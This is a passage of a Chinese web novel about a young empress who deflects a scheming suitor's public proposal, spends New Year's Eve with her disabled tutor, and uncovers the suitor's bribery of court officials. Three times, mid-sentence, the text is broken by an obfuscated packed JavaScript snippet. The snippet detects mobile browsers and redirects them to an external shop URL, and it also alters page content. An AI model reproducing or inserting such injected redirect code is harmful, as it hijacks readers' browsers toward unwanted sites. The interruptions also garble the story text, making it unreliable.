永安当然不能同意啊!她早就与小老师成过亲了,全身心都是喜欢着小老师的。 若是答应了季元初,这还算什么话。 “季元初,你疯了吧?” 季元初却摇了摇头,专注地望向她,一派深情款款。 “臣知道。臣仰慕陛下已久,愿以终身相许。臣自知出身微贱,不敢奢求正宫之位,只求能常伴陛下左右,以报陛下再生之恩。” 说得倒是情真意切,声泪俱下,不少臣子们也开始动了恻隐之心。 “这……季公子倒是一往情深……” “他年少有为,又生得俊俏,倒也不辱没陛下。” “可陛下不是心仪程侍郎吗?” “程侍郎?一个残废而已!他都辞官了,还提他做什么?” 永安将这些话听得清清楚楚,本想要当众责罚这些辱没小老师的人,终还是憋了回去。 季元初跪在原地,姿态谦卑,满脸深情款款。 永安可不是傻的,她心里清清楚楚,让他出风头了,季元初笑得比谁都灿烂呢。 “陛下,臣有话说。” 只见周延拄着拐杖,颤巍巍地走了出来。 来的好啊!永安的心里顿时好受了些。 周延先向永安行了一礼,然后不卑不亢地看向跪在原地的季元初。 “季公子,老夫问你一句话。” 季元初抬起头,笑得一脸真诚:“周尚书请讲。” 周延捋了捋胡子,慢悠悠地说:“你方才说,愿以终身相许陛下。老夫倒想问问你,你可曾问过陛下的意愿,陛下是否愿意?” 季元初顿觉尴尬万分:“老尚书这是什么意思?” 周延继续说:“婚姻大事,讲究两情相悦。陛下心里有没有你,你自己心里还不清楚吗?” “周尚书说得是。臣只是表达心意,若陛下不允,臣也不敢强求。更何况陛下乃是九五至尊,还需以陛下的心意为准。” 周延见季元初给了个台阶,顺势道:“既然如此,陛下,季公子求亲乃是大事。臣以为,此事不宜草率,应从长计议。” 永安眼睛一亮:“周尚书说得对。此事容后再议。今日便到这里,朕要去歇息了!” 说完,她起身就走,嘴里念念有词。 周老头啊,早知道你这么维护朕和小老师的爱情,当初就应该对你好一些了! “年轻人有胆啊!”见永安一走,陆洵连忙将季元初搀了起来。 “多谢尚书夸奖。”后者皮不笑肉不笑地答复道。 回到御书房,永安对着满桌的奏折,生起了闷气。 “他好大的胆子!居然敢当着满朝文武的面提亲!” 疏月已经习惯了小陛下的喜怒无常,连连安抚道:“哎,陛下莫要生气,他再怎样喜欢陛下,陛下不愿,他也无可奈何。” 永安转了无数圈,脑子天旋地转,这才停了下来。 “周老头呢?让他立即进来见朕!” 一盏茶后,周延便驮着背,慢悠悠地赶来了:“陛下息怒。” 永安瞪着他:“朕怎么息怒啊!他都骑到朕头上来了!” 周延笑了笑,从袖中取出一物:“陛下,您看看这个。” 永安接过来一看,此物并不简单,居然是一份名单。 名单上密密麻麻地写着数十个人名,有禁卫军的小兵,朝中各部的官员,还有一些是京城里的富商巨贾。 “这些是……” “这是季元初这一个月来,收买笼络的人。臣让人暗中查访,记下了这些名字。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484579|201929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 永安灵光一现:“你这老头儿还真有点本事!” 周延连忙谦逊道:“不敢当不敢当,陛下您看,季元初今日提亲,可不是甚么儿女私情,依臣看,是在试探陛下呢。他想看看,朝中有多少人支持他,多少人反对他。” 永安若有所思:“的确如此。” 周延见状,重重叹了口气:“陛下,臣斗胆说一句。季元初比程侍郎年轻,比程侍郎康健,又是新科武状元。朝中不少人,虽不敢说出口,但在与陛下相配与否一事上,已经偏向了他。” 永安的脸色沉了下来:“朕清楚得很呢,兵部那个陆洵,不就是吗?” 周延苦笑:“陆洵是武将,自然欣赏少年英雄。这怪不得他。” “那你说说看,朕该怎么办?” 见小陛下如此愁眉苦脸,周延突然想到了自家的小孙女,也差不多快有小陛下这么大了,目光慈蔼了不少。 “陛下手里不是有证据吗?” 永安重重地叹了口气:“唉!那点证据远远不够啊。只能证明他约见过江芷柔,不能证明他和玉玺案有关。” “所以,陛下需要更多的证据。” 永安又有些为难了:“可是,这季元初狡猾的很,朕一时间也没有什么眉目啊。” 周延将名单推到她面前,从容道:“陛下,这些人里,有真正被他收买的,也有仅仅是被他拉拢的。您只需要找到一两个真正知道他底细的人,得到有效讯息,便足够了。” “你是说……”永安的嘴角往上扬了扬。 “季元初既然敢跳出来,就说明他已经准备好了。准备得越充分呢,破绽也就越多。” “他现在风头正盛,得意忘形,正是最容易露出马脚的时候。” “周老头,那朕就依你的,多去找找线索。” 忙碌了一天,永安总归是累的,她正打算去歇息了,周延还是叫住了她。 “陛下,臣还有一句话。” “但说无妨。” 周延斟酌着开口:“程侍郎此时离开陛下,未必是坏事。他不在京城之中,反而是安全的。季元初的手再长,也伸不到乡下去。” 永安很是赞同:“所以朕现在不急着接他回来。等处理好季元初一事,朕会亲自去接他。” “只是恨朕引狼入室,这季元初,都把爪牙伸向朕的颈间了!唉,若是当初听小老师的……” “陛下心善,未必不是一桩好事。” “老臣这便告退了。”周延说罢,便躬身退下了。 待老尚书走远后,永安才像个泄了气的皮球般软倒在御椅上。 “好累啊……小老师,朕想你了……” 季元初求亲一事,在朝中掀起了轩然大波。 支持他的人不少,反对他的人自然也不少。 支持者说:季公子年少有为,武艺超群,远比程侍郎配得上陛下。 反对者也不遑多让:陛下心仪程侍郎,这是人尽皆知的事,怎能横刀夺爱? 双方吵得不可开交,永安就这样翘着二郎腿坐在龙椅上,悠哉悠哉地吃着点心,看着他们吵作一团,心里已经盘算起了另一件事。 她开始让人暗中调查起名单上的人,一个一个地对照着朝中的大臣们。 季元初遮掩的极好,即便是巴结,都被以交谈的名义草草掩盖了过去。 “这人的小心眼还不少呢。” 永安越往下查,就越开始犯困,人名这么多,看得她晕乎乎的,不一会儿,就打起了瞌睡。 梦中,永安还不忘念着小老师,要是小老师在身旁,说不定不到半个时辰,就能全部搞定了呢! 18. 带朕去了个好地方 除夕夜。 昭京城内万家灯火,人潮似锦。 孩童们在长街上欢笑着放着鞭炮,鞭炮声透过重重宫墙,噼里啪啦地传入了紫宸殿。 每逢佳节,小老师不在,永安就高兴不起来。 她趴在窗边,望着远处的礼部,礼部黑漆漆的,一个人影都没有。 疏月端着一盘饺子进来,提醒道:“陛下,该用膳了。” 永安闻了两口饺子的香气,可实在是没胃口,又失魂落魄地推了回去:“谢谢疏月姐姐,但朕没胃口,就放那儿吧。” “陛下,今儿是除夕,您多少吃一点吧。” “朕不饿。” 疏月叹了口气,把饺子放在桌上,悄悄退走了。 永安继续趴着,继续望着远处礼部的建筑群发呆,这还是小老师不在的第一个除夕。 以前每年这个时候,她就最喜欢赖在他怀里不肯走,闹着让他陪着她守岁。 程莫玄就会轻轻拍着她的背,给她讲着一个又一个有趣的小故事。 那时候她不觉得有什么,回头想起来,都是岁月里最美好的日子。 “不许想了,再多想,又要委屈了。” 她本想自己出去转转,却突然发现,不知何时,窗边落下了一只纸鸢。 这只纸鸢用竹篾和宣纸糊成,画着一只憨态可掬的小猫。纸鸢的尾巴上系着一根红绳,红绳的另一端…… 永安顺着红绳往窗外看去,院墙外的残雪里,站着个熟悉的身影。 那人拄着拐杖,披着件深色的斗篷,微微笑着,朝着她招了招手。 月光朦胧,男子长发半挽,眸光似水,轻轻落在他顺滑的发丝之上,若同一副美人卷。 永安激动的差点要跳起来,她揉了揉眼睛,确定自己没看错人。 小老师居然来了! 永安本想要大喊一声,立即扑上去,只见程莫玄将食指竖在薄唇边:“嘘,别被发现了。” 她这才心领神会捂住嘴,拼命点头,然后提起裙摆就往外跑。 跑到院墙外,见到那人的素衫青衿,立即一头扎进了他温暖的怀抱中。 “小老师~你怎么来了!” 程莫玄被她撞得扶住拐杖往后退一步,勉强稳住身形。月色皎洁,映得少女的眼眶红红的,脸上还挂着没来得及擦掉的泪痕。 他心里一疼,将她抱的紧紧的:“除夕夜,来陪陛下守岁。” 永安抬起头,眼泪扑簌簌地往下掉。 “骗子!你不是说不回来了吗!” 程莫玄伸手,轻轻擦去她脸上的泪,安抚道:“不回来啊,怕某人哭花了脸,就不好看了。” 永安这才“噗嗤”一声笑了,又哭又笑的,也不知道怎样收场才好。 见永安这样可爱,小老师忍不住笑弯了嘴角:“走吧,带陛下去个好地方。” 永安就这样屁颠屁颠地跟在程莫玄身后,上了马车,去了小老师在京郊落脚的那间院子。 院子里种着参天大树,树下放着她先前送的花,花虽蔫了,却被他整整齐齐地葬在泥土中。 小老师走进去收拾了半天,屋里亮着灯,暖黄的烛光透过窗纸透出来,映着窗上贴着的大红窗花。 美食的香气扑面而来,永安兴致勃勃地推门一瞧,屋里摆着一桌菜。 有她最爱吃的桂花糯米藕,小时候每次生病都要吃的鸡汤小馄饨,还有啊她念叨了好多次的糖醋排骨,堪称满汉全席。 小老师将散发尽数挽起,专心致志地做着下一道菜,永安凑过去一看,竟是一碗热气腾腾的长寿面,面上还卧了个金黄的荷包蛋。 “我们家小老师还真是贤淑良德,秀外慧中,简直是朕的完美夫郎啊!” 程莫玄被夸的老脸一红,拄着拐杖走到桌边,给她拉开椅子。 “永安先吃,再不吃就凉了。” 永安这才坐下去,拿起筷子夹了块桂花糯米藕放进嘴里。 食材甜丝丝,软糯糯的,是她最熟悉的味道。 嚼着嚼着,永安就又有点委屈上了,眼泪在眼眶中打转。 这么好的小老师就应该被她带回去好好宠着,为什么总有人横加阻挠,偏要让他们二人分开呢? 还有小老师也真是的,偏偏要这样别扭,若是一开始便加入宫内,岂不美哉? 见永安吃的极多,程莫玄就顺势在她对面坐下,又给她盛了碗鸡汤小馄饨。 “陛下慢点吃,别噎着了。” 永安用力的点了点头,可吃着吃着,眼泪就模糊了视线。 再次抬头时,程莫玄已经为她备好了一方手帕。 永安接了过来,放在眼角擦了擦:“小老师居然预料到了。” 程莫玄目光温柔:“因为我知道,我家小永安,是最爱哭的。” 小老师都明白啊!永安想着想着,就破涕为笑了。 “谁爱哭了!朕才不爱哭!” 程莫笑而不语,又给她夹了一块排骨。 永安吃着吃着,就短暂忘记了苦恼,灵光一现道:“小老师,朕有个事要告诉你~” 程莫玄轻轻点头。 永安放下筷子,小声说:“季元初当众向朕提亲了。” 程莫玄的脸色瞬间变得非常难看。 永安继续说:“他说要当朕的皇夫,当着满朝文武的面。好多大臣都支持他,说他比小老师年轻,还康健,总之就是比小老师配得上朕。” 她说得很轻,一直偷偷盯着程莫玄的表情,看着小老师的脸上青一阵白一阵的,永安偷偷笑了笑。 半晌,程莫玄叹了口气:“永安,这些人说得不假啊。他的条件,远远比臣好的多。” 永安急了:“可朕不喜欢他!朕喜欢的是小老师啊!” “永安,你当时不该留下他的。” “当初你要留下他的时候,我便觉得此人心术不正,不可轻信。你不听,非要留他在京城,还让他进了禁卫军。” 永安听罢,低下头,像个做错事的孩子:“朕知道错了嘛……” 程莫玄见她委屈巴巴的模样,心又软了。 倒底还是个少女,心肠子软,也是正常的。 他伸手,轻轻摸了摸她的头。 “现在知道错了?” 永安点点头,小猫般蹭了蹭他的掌心。 程莫玄叹了口气:“永安,某不会怪罪你,只是担心你被人蒙骗。” 永安眨了眨眼:“小老师应该怪罪!应该怪罪朕让小老师吃醋了,是不是嘛~” “你又胡闹。” “你心善,总把人往好处想。可人性并非至善至美,不是所有人都值得你去善良以待。” “那朕该怎么办?他现在风头正盛,朕手里证据不够,完全动不了他!” 程莫玄思虑半晌,开口道:“永安,你知道他最大的弱点是什么吗?” 永安:“你说你说!” “他太急了。” “陛下想,他从造反到投诚,又禁卫军到武状元,每一步都走得太快了,完全不符合常理。” “除了那日在牢里向你我坦白的,他背后一定还有他人。程某走时,其实留了一手。” “什么一手哇~”永安好奇,永安不解。 “某暗中调查过季元初在朝中的交集,整理成名册交给了周老尚书,并嘱咐他将此物带给陛下。单单看名单很难找,倒是那些给他粮草军械,传递消息的人,才是陛下真正要查的。” 永安瞬间就明白过来了:“小老师果然厉害!” 程莫玄接话道:“所以陛下要顺藤摸瓜地去查他的人脉和钱财来源,查他这几个月和谁见过面。只要找到一个突破口,就能把他的势力连根拔起。” 永安听得连连点头:“可是朕现在派人盯着他,他肯定有防备……” 程莫玄笑了笑,笑意里是罕见的狡黠。永安看得呆呆愣愣的,小老师专注起来的模样更美了,还有点痞痞坏坏的。 “陛下你看,他一求亲,就有那么多大臣冒出头来支持,这本身就非比寻常。” “因为他给了他们好处,陛下若只是查名单,查不出来个所以然,要查,便去查他们收礼的数额。他们欺陛下亲政不久,竟敢在天子眼皮子底下作案。届时证据确凿,一个也跑不了。” 永安恍然大悟:“朕悟了!小老师果然厉害!一个一个查,总有人会扛不住的。只要有一个开口,就能牵出一串~” “小老师你太聪明了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484580|201929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 程莫玄慌忙摇头:“某才疏学浅,担不上陛下的夸奖。” “朕觉得你担得起,你就担得起!还有啊,小老师,咱俩私下见面,干嘛还要陛下陛下的叫啊~” 见永安有点不高兴了,程莫玄这才切回了称呼:“永安先吃饭,不然一会儿饭就凉了。” 永安这才心满意足地“嗯嗯”两声,埋头继续吃着,还不忘给小老师也夹上一些。 “话说啊,小老师,你一个人在这儿,会不会想朕咧?” 程莫玄欲言又止。 “说实话嘛~” 程莫玄垂下眼睛,耳根微微泛红:“想。” “有多想?” 程莫玄不说话了,永安默默吐槽,活像个闷葫芦似的。 她就不信这个邪了,不依不饶地追着问:“有多想嘛~像朕想你那么多吗?” 就这样听着一大串甜言蜜语,程莫玄的耳根肉眼可见地加深着颜色,不一会儿就完全红透了。 “小老师,你脸红了哦~” 程莫玄默默别过脸去,于是永安就放下筷子站了起来,绕到他面前,捧着他的脸:“小老师——” 月光下,少女的眼睛亮闪闪的,里面盛满了他的影子。 她凑上去,在他唇上轻轻亲了一下。 程莫玄虽已习惯她的小动作,还是羞涩地向后退了几步,整个人僵住了。 “这是朕送你的新年礼物,可要记好了~” 程莫玄不敢再去多看低下头,轻轻说:“谢陛下赏赐……” 吃完饭后,二人携手行至院外。 紧接着,漫天烟火绽放在夜空中,照亮了整个院子。 永安牵着小老师的手,扶住他站在院子里,仰头看着五颜六色的烟花在空中一个接一个地绽开。 “小老师快来看!好漂亮!” 程莫玄也看得目不转睛:“的确很美。” 少女闪亮的双眸中绽开烟火,嘴角也漾开了笑意,二人十指相握,暖意从指尖绵延至掌心。 “小老师,朕问你个问题啊~” 永安认真地问:“等朕收拾完季元初,你就跟朕回去,好不好?” 程莫玄不语,默默思考着她的提议。 永安瞧他这样,又急了:“不许不愿意!” “当然愿意。” “好诶!”永安欢呼一声,雀跃地扑进他怀里。 “朕的新年愿望实现啦!” 程莫玄稳稳地接住了她,将她揽在怀中。接着,低下头去,下巴抵在她发顶,轻轻叹了口气。 “永安啊永安,以后,不要再一个人哭了。程某……看得心疼。” 永安在他怀里蹭了蹭,柳眉倒竖道:“知道心疼就好!那你可要多多陪着朕~” 程莫玄就这样抱着她:“好。” 烟花还在绽放,一朵接一朵,照亮了整片夜空。 两个人站在院子里,紧紧相拥。 年糕不知从哪儿钻了出来,蹲在枣树下,仰头看着他们,“喵”了一声。 永安见到小猫,这才放开了小老师:“年糕,想朕了没?” 年糕甩了甩尾巴,慢悠悠地走过来,蹭了蹭她的脚踝。 永安蹲下去,一把抱起它。 “小老师,你看,年糕也想朕了!” 少女和小猫很快就玩成了一团,程莫玄安安静静地伫立在一侧,心里软得一塌糊涂。 再晚些时候,永安就必须回宫了,若是疏月找不到她,也该着急了。 于是,程莫玄将送她到村口,颤颤巍巍地抱着她翻身上马。 永安勒住缰绳,往前驾了几步,蓦然回首:“小老师,记住你说的话~” 刚刚抱着她上马,费了好大的力气。程莫玄喘着气,点了点头。 永安抿了抿嘴,又跳下马,跑回来在他脸上狠狠亲了一口。 这次她没让他抱,自己翻身上马,然后头也不回地跑了。 程莫玄被这一吻亲得恍恍惚惚的,摸着被她亲过的地方,半天没回过神来。 直到马蹄声消失在晨雾里,他才慢慢转身,依依不舍地往家走了。 年糕“喵”了一声,呼噜呼噜地跟在他脚边,尾巴一甩一甩的。 19. 天子之刃啊! 永安摆驾回宫。 她蹑手蹑脚地翻过宫墙,一路小跑溜回紫宸殿,推开门一瞧,就看见疏月坐在门槛上,抱着膝盖打瞌睡。 “呼噜——呼噜——” “哇~疏月姐姐会打呼噜!” 疏月瞬间就吓醒了,见永安贼兮兮地盯着她,瞬间长舒了一口气:“陛下,您可算回来了!奴婢担心了一夜呢!” 永安比了个“嘘”的手势,溜进殿内,换了身衣裳,往床上一躺。 “姐姐,朕也睡一会儿,天亮叫朕就好。” 疏月睡得迷迷糊糊的,半梦半醒地提醒道:“陛下,今日是大年初一,不用早朝……” 永安已经闭上眼睛,神情安详:“一定要叫朕哦。” 疏月不敢再问,勉强保持着清醒,悄悄退了出去。 天光大亮时,疏月果然准时出现了。 “陛下!陛下!起床啦——” “就来就来!”永安笑眯眯地从龙榻上跳了下来。她换了身轻便的常服,头发简单挽了个髻,对着铜镜照了照。 “朕今儿还挺精神的。疏月姐姐,去请周尚书。悄悄的,别让人看见。” 疏月摸不着头脑:陛下什么时候和周老尚书关系这么好了? 想来想去,也想不出个所以然,于是乖乖领命而去。 永安则暗自下了决心,小老师说得对,她可不能再这样被动下去了。 季元初既然敢跳出来针对她的小老师,她就让他尝尝天子之刃,到底有多锋利。 周延来得很快,他可不敢耽误了小陛下的旨意。老头儿裹着一身厚棉袍,拄着拐杖,气喘吁吁地进了紫宸殿。 一进门,就行了个拜年礼,被永安一把扶住。 “哎呦,老尚书您可别拜了,快进来坐着,朕有事找你。” 周延喘匀了气,这才从地上慢慢爬了起来:“陛下请讲。” 永安将名单拿出来给他瞧:“这名单可是小老师走之前留给你的?” 周延接过来看了看,点点头:“正是。臣一直收着,没敢声张。” 永安指着名单上几个名字,一字一句地说:“朕主要想查他们收了季元初多少好处,什么时候收的,怎么收的。一个都不能漏掉!” 周延抚掌大笑,点了点头:“陛下终于想明白了。” “老尚书,你觉得朕该从哪里查起?” 老尚书捋了捋胡子:“陛下,这些人里有一半是被季元初拉拢的,只是表面应承,未必真跟他一条心。但有一半,依臣来看,是实打实收了他好处的。” 他从永安手中接过笔,在名单上圈了几个名字:“这几个人是季元初的同乡,跟着他从造反一路走到现在。他们知道的事情最多,也最不好撬开嘴。” 永安连连赞许:“好样的。” “还有这几个,”周延又圈了几个,“是朝中的墙头草,谁给好处就跟谁。这种人最好对付,只要让他们知道跟着季元初没有好下场,他们就会第一个反水。” “嘿嘿!好办好办!那朕先从墙头草开始查。”永安这就要溜,又被老尚书叫住了。 “陛下莫急,查是要查,但不能打草惊蛇。” 永安挑眉:“哦?怎么说?” “季元初现在是武状元,风头正盛。陛下若大张旗鼓地查他的人,他必然警觉。到时候证据销毁,人证灭口,就什么都查不到了。” 永安一下子就偃旗息鼓了,无力地靠在御桌上:“那朕该如何是好?” 周延笑而不语。 永安急了:“哎呀!老尚书!不要和朕卖关子了!朕真的很想快速解决此事,然后接小老师回家嘛……” “老臣年纪大了,说得慢罢了。”周延故作高深地咳了几声,这才开口道,“陛下可还记得,当初您放季元初出狱时让人监视他的一举一动?” 永安自然记得,这些人嘛,她不能说完全靠得住,倒也是她精挑细选的。 周延目光深邃:“陛下,这几个月,程侍郎一直让人暗中盯着季元初的人。他们收了多少好处,从哪儿收的,他都有记录。辞官之前,程侍郎才把这份记录交到臣的手中。” “小老师果然暗中调查着呢!”永安的心情瞬间雀跃起来,“哎呀,老尚书,你怎么不早说!” 周延苦笑:“陛下,季元初可是您特赦的,若是贸然说了此事,程侍郎担心您会生气。再者,证据要足够多,才能一击致命。” “现在还差多少嘞?” 好在周延有备而来,从袖中取出无数本账册放在桌上。 “陛下请看。” 永安急不可耐地翻开账册,册子里还夹了封信。账册上密密麻麻地记着人名,日期,还有数不胜数的银两数目。纵然永安贵为一国之主,也没见得这么大的开销。信是季元初亲笔写的,内容是联络官员和拉拢人心。 永安一页一页地翻着,脸色越来越阴沉,最后一页,赫然写着一个人的名字—— 陆洵。 “好样的!陆洵果然有鬼!” 周延叹了口气:“陛下,陆尚书是武将之首,季元初想要掌控兵权,必须拉拢他。据臣查到的,季元初前后送了他五千两银子,还有一柄价值连城的宝剑。” 永安顿时气不打一处来:“好啊!在朕的眼皮子底下行贿是吧!朕这就要去会会陆尚书到底有多大的架子!” 当天下午,永安在御书房召见了陆洵。 陆洵压根就不知道发生了什么。他大大咧咧地走进来,自然地抱拳行礼:“陛下,您找臣么?” 永安坐在书案后面,手里拿着一本奏折,面色如常地叫他:“陆尚书,来,坐坐坐。” 陆洵在她对面坐下,心里隐隐觉得不对。好好的大年初一,小陛下不去出宫玩乐,偏偏要来找朝臣议事。 不对劲。很不对劲。 永安放下奏折,笑盈盈地抬起头,直视着他:“陆尚书,朕问你一件事,你可要如实交代。” 陆洵挺直背脊:“陛下请说。” 永安将季元初的手写信摊开,径直推给他看。 “你认识这个笔迹吗?” 陆洵低头一看,脸色瞬间变了。 此乃季元初写给他的信,内容是拉拢他支持自己在朝中的试图,还提到了那柄宝剑。 此物怎么会在陛下的手中! 陆洵的额头开始冒汗:“陛下,臣……” 永安打了个手势,示意他先闭嘴:“朕可不问你收没收他的东西,朕有更重要的事儿要先问问。” 陆洵一脸茫然。 “你是大昭的兵部尚书,还是季元初的兵部尚书?” “说啊!告诉朕!你是欺朕年纪小不明事理吗?” 陆洵被她劈头盖脸说得呆愣愣的,半天都没能说出半个字来,就这样和永安大眼瞪小眼。 永安也不催,双手抱胸,一副凛然模样。 良久,陆洵站起来,走到殿中央,扑通一声跪了下来。 “陛下,臣有罪。” “哦?但说无妨!” 陆洵低着头,小声解释道:“季元初确实送过臣银子,还有一柄剑。臣以为他只是仰慕臣的武艺,没往别处想。” 永安冷笑一声:“没往别处想?他一个刚刚投诚的叛贼,几个月就当上武状元,又当上禁军副统领,你就没觉得什么地方不对么?” 陆洵也不辩解,连连磕头:“臣……臣知罪。” 永安可不吃他这一套,追问道:“陆洵,你好歹贵为一国尚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484581|201929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书,老老实实告诉朕,你是真的不知道,还是装出来的?” 陆洵拼命磕头:“臣知罪了!” “哎呀,罢了罢了。”永安蹲下身,同他面对面地说着话,“你是武将,你心里只有打仗,只有保家卫国。你不懂朝堂上的弯弯绕绕,朕理解嘞。” “但是,你贵为大昭的兵部尚书,是朕的臣子。你的忠心,可不能随意许诺他人啊!” 陆洵又重重磕了一个头:“臣明白。” 到此为止,让他好生想想吧。 想到这里,永安拍了拍裙摆,站了起来:“起来吧,你堂堂八尺男儿,跪着算什么话。” 陆洵这才站了起来,只见永安走到书案后,拿起那封信就放进烛火里。信纸烧起来,很快化成了灰烬。 “陛下……您不治臣的罪?”陆洵深表不解。 永安笑着摇了摇头。 “这封信,朕当没看见。五千两银子,你拿来充盈国库吧,给我大昭将士们购买些兵器。至于那剑么——” “就当朕赏你的,好好留着,为国效力吧。” 陆洵扑通一声又跪下了,眼眶通红:“陛下,臣定当戴罪立功!” 永安可见不得这三拜九叩的,连忙示意他赶紧起来,陆洵这才回过神来,不拜了。 “朕还要交给你一件事。” “臣定当肝胆涂地,为陛下效力!” 永安听不下去了,头摇得像拨浪鼓:“哎呀,这些都免了吧,限你三天时间,你去从兵部入手,帮朕查查你的好部下季元初,到底在搞什么鬼。” 三天后,陆洵果然送来了季元初这几个月来拉拢朝臣,收买人心的全部证据。人证物证俱全,要是当场拿下他也完全有理有据。 永安还是不解,这季元初也太明目张胆了,装也不装一下的来着。 陆洵自知酿了大祸,这些日子纵容这小子太久,竟把半个朝廷收买了! “陛下,臣查清楚了。季元初前后拉拢了十七个官员,送出去的银两加起来超过三万两。这些人里有禁卫军的,六部的,还有几个,是陛下身边的人。” 永安头也不抬地翻着那些证据,脸色越来越难看:“他哪来这么多钱?” “臣查到,他背后有人。” 陆洵继续解释道:“他造反的时候,背后有人给他粮草军械。那些东西,不是他一个毛头小子能弄到的。臣甚至怀疑,他背后有北戎的人,见陛下年纪轻,想借机扰乱大昭朝政。” 前脚才送走赫连明月,尽管此女落落大方,对她的态度不似做伪。明抢易挡,暗箭难防,谁又知道她私底下有没有和赫连漠勾结呢? 永安把信封仔细收好:“今儿的事,也就你知朕知,不许说出去一个字,否则小心你的脑袋。” 陆洵拍拍胸脯,承诺道:“臣明白。” 陆洵走后,永安安安静静地坐在御书房里,一反她一贯的作态。 疏月为她续了盏茶,小心翼翼地问:“陛下,现在可以抓他了吗?” 永安连忙摇头,表示不可。 疏月并不明白:“为什么?证据都齐了!” “还远远不够。疏月姐姐,你不觉得他出现的颇为蹊跷么?他背后还有人。抓了他,那些人就跑了。朕要等他自己露出马脚。” 说罢,又摇头晃脑地叹气:“唉,想当初朕该听小老师的,多留几个心眼!” 疏月似懂非懂地点点头:“陛下已经尽力了,不要累着自己。” “多谢疏月姐姐~”永安朝她甜甜一笑。 窗外,乌云慢慢散去。 阳光透过云层洒下来,落在永安的脸上,镀上淡淡的光晕。 少女的眉眼总算舒展开来:“小老师~很快朕就能接你回来了~”